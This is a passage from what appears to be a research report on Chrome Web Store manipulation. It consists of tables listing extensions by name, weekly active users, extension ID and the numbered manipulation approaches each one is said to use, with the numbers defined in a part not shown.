Make Screenshot for Chrome™	1,000	mhnppmochppgeilojkicdoghhgfnaaig	1
Full Page Screenshot for Google Chrome™	10,000	mieibeigpaehbjcbibakjcmkocngijjl	6
Custom Progress Bar for YouTube™	300,000	nbkomboflhdlliegkaiepilnfmophgfg	6
Chrome Bookmarks	4,000	nhcaihbjbbggebncffmeemegdmkamppc	6
Tab Snooze	336	nomolokefbokmolefakehdnicdpjbmnm	5
History & Cache Cleaner	10,000	oiecpgbfcchalgdchgoplichofjadhmk	5
View Chrome History	40,000	oiginoblioefjckppeefcofmkkhgbdfc	6
Meme Maker for Google Chrome	2,000	oipbnbggobjonpojbcegcccfombkfoek	6
Bass Boost for Google Chrome™	20,000	omobmjpbljcbgdppgjfmmennpjpgokch	6
Knit Patterns	181	pfeenapookpacnhhakoilppnmbohncml	6
Tic Tac Toe	3,000	pfghhddjhifjcneopigibnkifacchpgh	6
Clear History & Web Cache	3,000	pjhgdolnnlcjdngllidooanllmcagopf	6
Citation Manager for Google Chrome™	20,000	pkbcbgfocajmfmpmecphcfilelckmegj	6
Full screen your Videos	3,000	pkoeokeehkjghkjghoflddedkjnheibp	6
iCloud Dashboard	10,000	pnncnbibokgjfkolhbodadgcajeiookc	6
Responsive Tester	30,000	ppbjpbekhmnekpphljbmeafemfiolbki	6

Everything else

Most extensions listed below either belong to one of the clusters above but haven’t been attributed, or the cluster they belong to wasn’t important enough to be listed separately. In a few cases these could however be extensions by individual developers who went overboard with search engine optimization.

Name	Weekly active users	Extension ID	Approaches
Simple = Select + Search	20,000	aagminaekdpcfimcbhknlgjmpnnnmooo	6
AI Chat Bot	1,000	abagkbkmdgomndiimhnejommgphodgpl	1
ChatGPT Translate	20,000	acaeafediijmccnjlokgcdiojiljfpbe	1
The AllChat - ChatGPT, WhatsApp, Messenger	1,000	adipcpcnjgifgnkofmnkdbebgpoamobf	1, 4
save ChatGPT history to evernote	1,000	afcodckncacgaggagndhcnmbmeofppok	3
Sound Booster	1,000	ahhoaokgolapmhoeojcfbgpfknpmlcaj	1, 2, 4
Dictionary - Synonyms, Definition, Translator	40,000	ahjhlnckcgnoikkfkfnkbfengklhglpg	1, 3, 4
ContentBlockHelper	20,000	ahnpejopbfnjicblkhclaaefhblgkfpd	6
Video Speed Controller	250	aiiiiipaehnjdjgokjencohlidnopjgd	4
Black Jack Play Game	20,000	akclccfjblcngnchpgekhijggnibifla	5
Free VPN - 1VPN	600,000	akcocjjpkmlniicdeemdceeajlmoabhg	1, 3, 5
Browser Boost - Extra Tools for Chrome	80,000	akknpgblpchaoebdoiojonnahhnfgnem	5
Comet - Reddit Comments on YouTube & Webpages	9,000	amlfbbehleledmbphnielafhieceggal	1, 2, 5
Hololive Wallpaper	2,000	anjmcaelnnfglaikhmfogjlppgmoipld	6
Roblox Wallpaper	9,000	ankmhnbjbelldifhhpfajidadjcammkg	5
Video Downloader Global - videos & streams	20,000	baajncdfffcpahjjmhhnhflmbelpbpli	1, 2
super cowboy play game	472	bconhanflbpldbpagecadkknihjmlail	5
Paint Tool for Web	3,000	bcpakobpeakicilokjlkdjhhcbepdmof	5
Sound booster by AudioMax	900,000	bdbedpgdcnjmnccdappdddadbcdichio	1, 2, 4
Save to Face Book. From web to Saved FB	63	bdhnoaejmcmegonoagjjomifeknmncnb	1, 2, 6, 7
Save ChatGPT to Obsidian markdown file	641	bdkpamdmcgamabdeaeehfmaiaejcdfko	7
Full Page Screenshot: ScreenTool.io	6,000	bfhiekdkiilhblilanjoplmoocmbeepj	1, 5
Downloader for Instagram - ToolMaster	100,000	bgbclojjlpkimdhhdhbmbgpkaenfmkoe	1, 2
Aqua VPN	20,000	bgcmndidjhfimbbocplkapiaaokhlcac	1, 2, 3, 4, 7
ChatGPT Assistant - Smart Search	178	bgejafhieobnfpjlpcjjggoboebonfcg	1, 2, 4, 7
Xiaojinshu - Xiaohongshu material downloader (video, picture)	2,000	bhmbklgihbfcpbnaidlcanmbekbjoopg	1
Save ChatGPT to Notion	5,000	bknieejaaomeegoflpgcckagimnbbgdp	3
Football Wallpapers	1,000	blaajilgooofbbpfhdicinfblmefiomn	6
Image downloader - picture and photos saver	500,000	cbnhnlbagkabdnaoedjdfpbfmkcofbcl	1, 2, 4, 6
IG Follower Export Tool - IG Email Extractor	1,000	cekalgbbmdhecljbanbdailpkbndbbgj	1, 2
Happy Chef Bubble Game	668	celnnbmadnnifmnaekgeiipiadahpide	5
midjourney to notion	1,000	ceoifmkmbigkoodehbhfeegbngoomiae	3, 4
Dragon Ball Z Wallpaper	10,000	cepfoomofdcijdlpinanbciebkdmmddm	5
Change Default Search Engine	7,000	cfikbclbljhmmokgdokgjhnpinnmihkp	5
Indeed Scraper	425	cgelphinochnndbeinkgdjolojgdkabc	1
Story Space. Anonymous viewer for IG and FB	10,000	cicohiknlppcipjbfpoghjbncojncjgb	1, 2
Classic Dark Theme for Web	700,000	ckamlnkimkfbbkgkdendoedekcmbpmde	1, 2, 4
ai platform	687	cklkofkblkhoafccongdmdpeocoeaeof	1
AI Art Generator	697	cllklgffiifegpgbpaemekbkgehbeigh	6
Twitter Algorithm Rank Validator - Free Tool	31	cmgfmepnimobbicpnjhfojjibhjdoggo	1
Adblock - adblocker for Youtube	700,000	cohnbaldpeopekjhfifpfpoagfkhdmeo	1, 2, 3, 7
Bass Booster - Сontrol your sound	800,000	coobjpohmllnkflglnolcoemhmdihbjd	1, 2, 4, 6
SearchGPT Powered	30,000	cpmokfkkipanocncbblbdohjginmpdjn	1, 2
Maps Scraper & Leads Data Extractor	800	dahoicbehnalbeamhcpghhoelifghbma	6
Wasup WA Sender	4,000	dcmcongoliejhianllkdefemgiljjdjl	5
Popup Blocker - Adblock Pop up	10,000	ddbjkeokchfmmigaifbkeodfkggofelm	1, 2, 3, 4
AI Avatar Generator	528	ddjeklfcccppoklkbojmidlbcfookong	6
Telegram Video Downloader	10,000	ddkogamcapjjcjpeapeagfklmaodgagk	1, 2
GetJam - find Coupons and Promo codes	10,000	deamobbcdpcfhkiepmjicnlheiaalbbe	1, 2, 3, 7
WiFi speedtest & Internet Connection Test	10,000	deofojifdhnbpkhfpjpnjdplfallmnbf	1, 2, 4
Audio Master mini	900,000	dfffkbbackkpgmddopaeohbdgfckogdn	1, 2, 4
Geometry Dash Wallpaper	1,000	dghokgbfkiebbjhilmjmpiafllplnbok	5
ExportShopify	63	dgofifcdecfijocmjmdhiiabmocddleb	5
Bass Booster Lite	1,000	dhempgjfckmjiblbkandmablebffigdj	1, 2, 4
IG Follower Export Tool - Export Follower List Instagram - IG Tools	343	dhmgjkbkpjikopbkgagkldnoikomgglo	1, 2
Custom Youtube	64	dieglohbkhiggnejegkcfcpolnblodfj	1, 2
Math AI	10,000	dioapkekjoidbacpmfpnphhlobnneadd	1, 2, 7
Batch Save ChatGPT to Notion	176	djefhicmpbpmmlagbgooepmbobdhajgn	7
Night Theme for Web	786	djkdplhjjhmonmiihoaipopjfjalelkb	1, 2, 4
TickerIQ	200,000	dlaajbpfmppphhflganljdalclmcockl	1, 2, 4
Screen Recording	10,000	dlcelhclgobpnegajplgemdhegfiglif	1, 4
Retro Video Downloader	3,000	dnbonfnabpogidccioahmeopjhbcojoe	1, 2, 4
View Instagram Stories - InstaStory	288	dpckdamgkbgkhifgpealdkekennmkjln	1
City Bike Racing Champion Game FEEP	471	dpkpeppcigpkhlceinenjkdalhmemljn	5
ChatGPT for WhatsApp	7,000	eacpodndpkokbialnikcedfbpjgkipil	5
Vibn AI - ChatGPT: AI-Powered Browsing	20	ealomadpdijnflpgabddhepkgcjjeiha	2
sync evernote to notion	72	edppbofcdhkllmbbhnocaenejjlcjoga	2, 4, 7
Email Extract Pro - Simplify Lead Generation with Notion	606	eebaoaeanohonldcbkpnjfkdlcbcaond	2, 3, 7
Bass Booster - Sound Master Pro	200,000	eejonihdnoaebiknkcgbjgihkocneico	1, 2, 4
Ever2Notion	148	efolkkdddgjcnnngjefpadglbliccloo	3
Claude to Obsidian	217	ehacefdknbaacgjcikcpkogkocemcdil	1
Auto Tab Saver Pro	14	ehdnfngedccloodopehbfgliancjekhi	1, 3
Tricky Craby Html5 Game	7,000	eifmecggecobbcjofbkkobpbjbdifemc	5
Dark Mode - Dark Reader for Chrome	60,000	eiionlappbmidcpaabhepkipldnopcch	1, 2
Beautiful Nature Pictures Wallpaper	1,000	eilemfgfflhnndcaflanfgmohfjgbgof	6
Email extract	400,000	ejecpjcajdpbjbmlcojcohgenjngflac	1, 2, 4
Screen recorder - Recorder Tool	84	ekgimgflikldcmjmeeecnkdenimhamch	5
Soccer Online Game Football - HTML5 Game	40,000	eknjiacpaibimgjdeldfhepofgjkngck	6
Crazy Cursors - Custom Cursors with Trails	14	enncggclkhfdeoaglhjkieeipkboaecd	1, 3
Lumberjack River Game	1,000	fbgkmgkcneoolclpopjahcdogpbndkcl	5
Vroxy - Spoof Time Zone, Geolocation & Locale	1,000	fcalilbnpkfikdppppppchmkdipibalb	1, 5
Linkedin Job Scraper - scraper.plus	948	fcfbdnejkoelajenklbcndfokempkclk	3
Music Equalizer for Chrome	500,000	fedoeoceggohfajbhbadkfhgckjkieop	1, 2, 4, 6
Safety Web - Adblock for Web	2,000	ffafhlldnfofnegdfhokdaohngdcdaah	4, 5
IG Likes Export	1,000	fiefnmddjghnmdjfedknoggjfcfejllm	2
Free YouTube Comment Finder - EasyComment	1,000	fifgmgcoibgcehfbpeifpipjnmfdjcoi	1, 5
Classic Brick Game 80th	7,000	filjhgipogkkmalceianiopidelcacam	1, 2, 4, 6
IG Follower Export Tool - IG Lead Scraper	48	fimgpffhikpemjcnfloodfdjfhjkoced	5
Instagram Photos Download - InstaPhotos	381	fjccfokbikcaahpgedommonpjadhdmfm	1
Save Twitter&Linkedin People to Notion CRM	61	fjhnpnojmkagocpmdpjpdjfipfcljfib	1, 2, 3
Life HD Wallpapers New Tab	787	flbglpgpbekkajkkolloilfimbaemigj	1
INSORT - Sort Reels for IG	334	fmdndpmffplgenajipolmpfhflmgdpla	5
Indeed Scraper	467	fnmcgefncfbmgeafmdelmjklpblodpnc	1, 2
Grand Commander	1,000	fnpedebmmbanjapadpnoiogjjhnggdca	5
Succubus HD Wallpapers New Tab Theme	126	gahampmajaohlicbcpdienlhclhkdgcg	1, 6
Attack On Titan Live Wallpapers	6,000	gajcknbeimpoockhogknhfobnblpkijk	6
Red And Black Shards	9,000	gamplddolbodndilnmooeilfcmdjkjfn	6
Free VPN Proxy - NoName VPN	1,000	gceoelahanekobagpkcelbhagpoaidij	4, 5
GPT Booster - ChatGPT File Uploader & Chats Saver	9,000	gcimiefinnihjibbembpfblhcmjclklo	1, 2, 6
GPT Sidebar - Search with ChatGPT	900,000	gcmemiedfkhgibnmdljhojmgnoimjpcd	1, 2, 3, 4, 6
IG Reel Download - InsReels	194	gcofmhbhbkmagfcdimaokhnhjfnllbek	1
Chrome Capture - screenshot & GIF	300,000	ggaabchcecdbomdcnbahdfddfikjmphe	4
Audio Equalizer	551	ggcffjkfphpojokoapldgljehpkiccck	1, 2, 4
GPTs Store Search and Favorite GPTs	735	ggelblabecfgdgknhkmeffheclpkjiie	3
League of Legends Wallpaper	1,000	giidhjojcdpaicnidflfmcfcnokgppke	5
Video Downloader Button	9,000	gjpdgbkjopobieebkmihgdoinbkicjck	1, 2, 5
Screen Virtual Keyboard- specific needs tool	9,000	gkiknnlmdgcmhmncldcmmnhhdiakielc	4, 6
Just Video Downloader	5,000	gldhgnbopkibmghhioohhcjcckejfmca	1, 2, 4
Picture in Picture - floating video player	1,000,000	gmehookibnphigonphocphhcepbijeen	1, 2, 4
Sound Booster	10,000	gmpconpjckclhemcaeinfemgpaelkfld	1, 2
Hive - Coupons, Promo Codes, & Discounts	2,000	godkpmhfjjbhcgafplpkaobcmknfebeh	1, 2, 3
Profile Picture Maker - AI PFP Maker	202	gonmpejcopjdndefhgpcigohdgjkjbjc	6
Traffic Car Racing Game	10,000	gpchpdllicocpdbbicbpgckckbkjdago	6
Mass Delete Tweets - Tweet Deleter	1,000	gpeegjjcnpohmbfplpkaiffnheloeggg	1, 5
Microsoft Word Translator - Translate Word online	974	gphocmbdfjkfghmmdcdghoemljoidkgl	3
Better Color Picker - pick any color in Chrome	20,000	gpibachbddnihfkbjcfggbejjgjdijeb	5
Popup and Ads Blocker	20	hadifnjapmphiajmfpfgfhaafafchjgh	1, 2, 3
Sound Equalizer	50,000	hckjoofeeogkcfehlfiojhcademfgigc	1, 2, 4
Multi Ad Blocker Complete for Youtube™	4,000	hdoblclnafbfgihfnphjhadfpgcmohkp	1
Video Downloader pro	1,000,000	hebjaboacandjnlnhocfikmaghgbfjlp	1, 2, 4
WAFilter - Check & Verify WA Number	5,000	hhfjicmmlbnmbobgpfmdkodfjkibogog	1, 5
Translator - Click to Translate	10,000	hhmocdjpnopefnfaajgfihmpjpibkdcj	1, 2, 3, 4, 5
Funny Tweet Generator	241	hhpmgfhnfdifcjgmgpgfhmnmgpiddgbg	1, 5
Winamp Classic Equalizer	1,000	hibihejapokgbbimeemhclbhheljaahc	1, 4
ChatGPT plugin search	893	hjdhbhggcljjjfenfbdbbhhngmkglpkl	3
ReminderCall Chrome Ext.	287	hlblflbejmlenjnehmmimlopeljbfkea	1, 3
Automatic ChatGPT Translator: Prompt Genie	1,000	hlkbmbkcepacdcimcanmbofgcibjiepm	3
AI Editor For Xiaohongshu™ - XHSPlus	2,000	hmeohemhimcjlegdjloglnkfablbneif	1
Cute Dog Wallpaper HD Custom New Tab	10,000	iaaplcnlmmnknnbhhpedcaiiohdepiok	6
Adblocker for Web	3,000	icegiccppplejifahamjobjmebhaplio	1, 2, 3, 4
Email scraper & Email Extract	73	ichccchniaebdhjehjcpmiicifhccpem	1, 5
Tomba - Email Finder & Email Extractor Plus	9,000	icmjegjggphchjckknoooajmklibccjb	5
Comment Exporter - Export Ins Comments	454	idfcdgofkeadinnejohffdlbobehndlf	1, 2
Get Color Palette from Website	75	idhdojnaebbnjblpgcaneodoihmjpdmo	1
Itachi Live Wallpaper	9,000	ihmlfoinmmfmcdogoellfomkcdofflfj	6
Eclincher	905	iicacnkipifonocigfaehlncdmjdgene	5
QRCodie - QR Code Generator	20	iioddhggceknofnhkdpnklfopkcahbkc	1, 2
Shorts blocker for Youtube	100,000	iiohlajanokhbaimiclmahallbcifcdj	1, 2, 4, 6
App Client for Instagram™ - InLoad	800,000	ikcgnmhndofpnljaijlpjjbbpiamehan	1, 2, 4, 6
FollowFox - IG Follower Export Tool (Email)	970	imoljjojcgjocfglobcbbhfbghpdjlfn	1, 2
chatgpt partner - Your AI Assistant	778	infgmecioihahiifibjcidpgkbampnel	4
Zombie Shooter Play	5,000	iohppfhpbicaflkcobkfikcjgbjjjdch	5
Adblock for YouTube & Chrome - All Block	400,000	jajikjbellknnfcomfjjinfjokihcfoi	1, 2, 3
AdBlocker - Ultimate Ads Blocker	1,000	jchookncibjnjddblpndekhkigpebmnn	1, 2, 3
Emoji Keyboard New	1,000	jddhjkckjlojegjdjlbobembgjoaobfc	6
Candy Match 3 Puzzle Games	2,000	jdffnpgoekmmkfgfflnpmonkldllfmbh	5
Genius PRO : Adblocker +Total Web Security	20,000	jdiegbdfmhkofahlnojgddehhelfmadj	3
Night Theme - Dark Mode	4,000,000	jhhjdfldilccfllhlbjdlhknlfbhpgeg	1, 2, 4
Jarvis AI: Chat GPT, Bing, Claude, Bard, BOT	10,000	kbhaffhbhcfmogkkbfanilniagcefnhi	1, 2
AI GPT	30,000	kblengdlefjpjkekanpoidgoghdngdgl	1
Dark Mode Chrome	300,000	kdllaademhdfbdhmphefcionnblmobff	1, 2, 4, 6
Pubg Wallpaper	1,000	kealimbjilfbnmolgombldemenlddfaa	5
Dark Shade	97	kfgpocchpfefpnecphkcjoammelpblce	1, 2
WA Contacts Extractor - wabulk.net	9,000	kfjafldijijoaeppnobnailkfjkjkhec	1
Video Downloader	10,000	kghcdbkokgjghlfeojcpeoclfnljkbdk	1, 2
ChatGPT of OpenAI for Google	10,000	kglajnlchongolikjlbcchdapioghjib	1, 2, 4, 6
Global Video & Audio Downloader	827	kglebmpdljhoplkjggohljkdhppbcenn	1, 2
Emoji keyboard online - copy&past your emoji.	1,000,000	kgmeffmlnkfnjpgmdndccklfigfhajen	1, 2, 4
Volume Booster - Increase sound	700,000	kjlooechnkmikejhimjlbdbkmmhlkkdd	1, 2, 4, 6
Yummi Fusion Game for Chrome	313	kknfaoaopblmapedlbhhicbnpdhlebff	5
Total Adblock	1,000	knnnjdihapcnbggclbihkkainodlapml	1, 2, 3, 7
Adblocker for Web	10,000	kojabglmkbdlpogbnenbdegoifgobklj	1, 2, 3, 4, 5
Simple Translator - Dictionary	800,000	koleblagfjjlhlkpacidojjnkhobeikd	1, 2, 3, 4, 6
Goku Ultra Instinct	40,000	kpehlpkidnkpifjmdgajdhhmcgdigjjn	6
Volume Booster - Increase Sound Effect	20,000	laldfbfjhaogodemgonegbingpmjldnh	1, 6
Zumba Mania Game - HTML5 Game	4,000	lckmeckmnopdeeelhglffajlfgodhoad	1
Comments Exporter	2,000	ldhjpljmgnggmkpcgaicmocfoefbcojl	1, 2
AdBlocker for LinkedIn®	100	leabdgiabfjhegkpomifpcfjfhlojcfh	3
Charm - Coupons, Promo Codes, & Discounts	366	lfbiblnhjmegapjfcbbodacjajhcgnbe	1, 2, 3, 5
Site Blocker: Stay focused & Block websites	2,000	lfbpllmokmhinnopfchemobgglipfini	1, 2
Youtube Ad Blocker	226	lfcgcabhmgenalfgamodjflggklmaldd	1, 2, 3
Video Downloader - Save m3u8 to MP4	10,000	lfdconleibeikjpklmlahaihpnkpmlch	1, 2
Contact Saver For WA & Download Group Phone Numbers - WPPME.COM	26	lfopjgadjgdlkjldhekplmeggobolnej	1, 6
ChatGenie for Chatgpt	8,000,000	lgfokdfepidpjodalhpbjindjackhidg	1, 2, 4
Mook: AI Tweet Generator With Chat GPT	259	lglmnbmfkbpfpbipjccjlkcgngekdhjk	1, 5
Anime Live Wallpapers	100,000	lgpgimkhbokanggfjjafplmjcdoclifl	6
ai logo creator	491	ljgimpibhgleapaoedngmcicjoifojea	1, 6
QR Code Generator	3,000,000	lkdokbndiffkmddlfpbjiokmfkafmgkm	1, 2, 4, 6
PDF Converter Online	10,000	lmgofgkjflllbmfdpamdjjmdjhohibpc	1, 2, 4
Video downloader by NNT	2,000	loiebadnnjhhmnphkihojemigfiondhf	1, 2, 6
WhichFont	75	lpamdogjnihpkoboakafmaiopljkhoib	5
Video Downloader Plus	100,000	lpcbiamenoghegpghidohnfegcepamdm	1, 2, 4
Summer Match 3 Game	613	lpfcolgfiohmgebkekkdakcoajfoeadn	5
Privacy Extension For WhatsApp Web - WABULK	90,000	mbcghjiodcjankhkllfohcgnckhdbkmi	1
Volume Booster +	800,000	mbdojfbhgijnafkihnkhllmhjhkmhedg	1, 2, 4, 6
Flux AI Image Generator	1,000	mblmjcogbjicpmhhjmpgjeiaophchpji	3
WA Group Number Exporter	5,000	mbmldhpfnohbacbljfnjnmhfmecndfjp	1, 5
Claude to Evernote	59	mekebjmippjiaajoaeeiemdcfngnnnkm	7
WA Number Checker - wabulk.net	8,000	meppipoogaadmolplfjchojpjdcaipgj	1
WA Number Checker	1,000	mgbpamnoiegnkologgggccldjenfchmc	1, 2
Translator - Click to Translate	451	mghganlaibcgnnooheoaebljgfbghpdl	1, 2, 4
ChatGPT Summary - summarize assistant	300,000	mikcekmbahpbehdpakenaknkkedeonhf	1, 2, 4, 6
Escape From School Game FEEP	2,000	mjkdllcbnonllpedjjmgdhkjnjmcigpo	5
Alfi Adventure Game	220	mkonckdeijcimlecklibjbnapmhnbpji	5
Allow Copy - Select & Enable Right Click	900,000	mmpljcghnbpkokhbkmfdmoagllopfmlm	1, 2
Save image to PDF	114	mpdpidnikijhgcbemphajoappcakdgok	5
Screensy - screen recording	3,000	mpiihicgfapopgaahidedijlddefkedc	1, 2
WhatsApp Salesforce integration	345	nacklnnkbcphbhgodnhfgnbdmobomlnm	5
Easy Ad Blocker	100,000	naffoicfphgmlgikpcmghdooejkboifd	3
Anime Girls Wallpaper	10,000	nahgmphhiadplbfoehklhedcbbieecak	5
PiP (Picture in picture)	800,000	nalkmonnmldhpfcpdlbdpljlaajlaphh	1, 2, 6
Vytal - Spoof Timezone, Geolocation & Locale	50,000	ncbknoohfjmcfneopnfkapmkblaenokb	1, 3, 5
Bass Booster Extreme - It Works!	10,000	ndhaplegimoabombidcdfogcnpmcicik	1, 2, 4
ProTranslator - Translator for All web	54	nemnbfdhbeigohoicapnbdecdlkcpmpj	1, 2, 4, 6
Adblock for Ytube	3,000	nendakennfmpoplpmpgnmcbpfabkibki	6
AI Image Generator - Text to Image Online	20,000	nfnkkmgbapopddmomigpnhcnffjdmfgo	1
Night Shift - Dark Theme for WEB	155	ngocaaiepgnlpdlpehhibnpmecaodfpk	1, 2, 4
Mad Shark HTML 5 Game	1,000	nhbckdjhkcjckhfgpmicgaiddbfdhhll	5
Screen Recorder	5,000	nhmaphcpolbbanpfhamgdpjlphbcnieh	1, 4
IgComment - IG Comments Export	545	nilbploiiciajeklaogbonjaejdjhfao	1
InReach - LinkedIn B2B Email Finder	1,000	nloekplnngjkjohmbfhmhjegijlnjfjk	5
Full Page Screenshot - Screen Capture	1,000	nmbngkjfkglbmmnlicoejhgaklphedcg	1, 2, 4
Exporter for Followers	400,000	nmnhoiehpdfllknopjkhjgoddkpnmfpa	1, 2
Flash Player - flash emulator	400,000	nohenbjhjbaleokplonjkbmackfkpcne	1, 2, 4, 6
Dark Mode Wallpapers	1,000	npmjehopohdlglmehokclpmbkgpfckcd	6
WhatsApp Audio & Voice Message to Text	112	npojienggkmiiemiolplijhfdmppacik	1, 6
Your Emoji Keyboard	1,000	obekkkgdekegaejajmdpaodefomoomfk	6
Adblock for Spotify - Skip ads on music	10,000	obiomemfgclpnflokpjjfokafbnoallb	1, 2
Manual Finder 2024	256	ocbfgbpocngolfigkhfehckgeihdhgll	5
Flash Player Enable - flash emulator swf	300,000	ocfjjghignicohbjammlhhoeimpfnlhc	1, 2
GT Cars Mega Ramp Game FEEP	630	ociihgpflooiebgncjgjkcaledmkhakk	5
Stick Panda Play Game	5,000	ocmbglodnmkcljocboijoemgceokifgg	5
Garena Free Fire Wallpaper	10,000	ocnnnfbblcadccdphieemnmbljdomdgl	5
Dictionary for Google Chrome - Synonyms, Definition	21	ocooohinghhdfcpfdonkjhhankdolpab	1, 3
Presto lead extractor for Bing Maps and OSM	300,000	oilholdcmnjkebdhokhaamalceecjbip	1, 2, 4
Dark Mode - Dark Theme for Chrome	60,000	okcnidefkngmnodelljeodakdlfemelg	1, 6
FastSave & Repost for Instagram	700,000	olenolhfominlkfmlkolcahemogebpcj	1, 2, 4, 6
ClaudeAI Copilot	449	olldnaaindiifeadpdmfggognmkofaib	1, 4, 5
Roblox Wallpaper	6,000	omamcjggpkjhgbkadieakplbieffjimf	5
Dark Reader for Chrome	10,000	omfeeokgnjnjcgdbppmnijlmdnpafmmp	1, 4
Browsec VPN - Free VPN for Chrome	6,000,000	omghfjlpggmjjaagoclmmobgdodcjboh	1, 2, 7
ChatGPT Sidebar	3,000	oopjmodaipafblnphackpcbodmgoggdo	1, 2, 3, 5
Music Equalizer - Improve Sound for everyone	900,000	paahdfldanmapppepgbflkhibebaeaof	1, 2, 4, 6
Space Pinball Game	968	pakghdcedniccgdfjjionnmoacelicmf	7
Find Font	2,000	pbeodbbpdamofbpkancdlfnegflmhkph	6
Web Client for Xiaohongshu	1,000	pcbppejbcaaoiaiddaglpphkmfkodhkn	1, 5
Classic Dark Theme - Night Mode	2,000,000	pdpfhanekfkeijhemmfbnnjffiblgefi	1, 2, 4, 6
Shopify Scraper - Shopify Store Scraper & spy	1,000	pehfmekejnhfofdjabaalbnanmpgjcdn	1, 2, 3
Screen Editor	869	pehmgdedmhpfophbaljpcloeaihhnkhk	6
Bulk WA Number Checker & Validator & Search & lookup	310	pepdpaiacpcgjoapmhehgmjcicninpgf	1, 6
Email Extractor	2,000	pgckgjnbljjlgbedbicefldnkpeehgdo	1, 3
Adblock for YouTube™	30,000	pginoclcfbhkoomedcodiclncajkkcba	3, 4
Site Blocker - Block Site & Focus Mode	1,000,000	pgoeobojimoocdnilcajmjihiabcmabn	1, 2, 4, 5
Dark Mode - Midnight Chrome	1,000	pidmkmoocippkppbgebgjhnmgkhephlb	1, 2, 4, 5
Save Image As PNG	1,000	piigjafeabajlmjkcmcemimcoaekbjmh	1, 2
ChatGPT-The Future	2,000	pijagnpcnegcogimkghghdihobbeaicn	4, 6
Safe3 safe browsing	900,000	pimlkaibgdfmbenlhmbjllfkbcfhfnjg	1, 2
Fishing Frenzy Games	4,000	pkanjcjckofmachobaedghimjboglcjf	6
Fortnite Wallpapers	7,000	pnmfgeifakoehoojepggpigbkkfolbmk	6
Best Cursors - Bloom of Custom Cursor	100,000	pnpapokldhgeofbkljienpjofgjkafkm	1, 2, 4
Naruto Live Wallpaper	10,000	ppemmflajcphagebjphjfoggjcbmgpim	6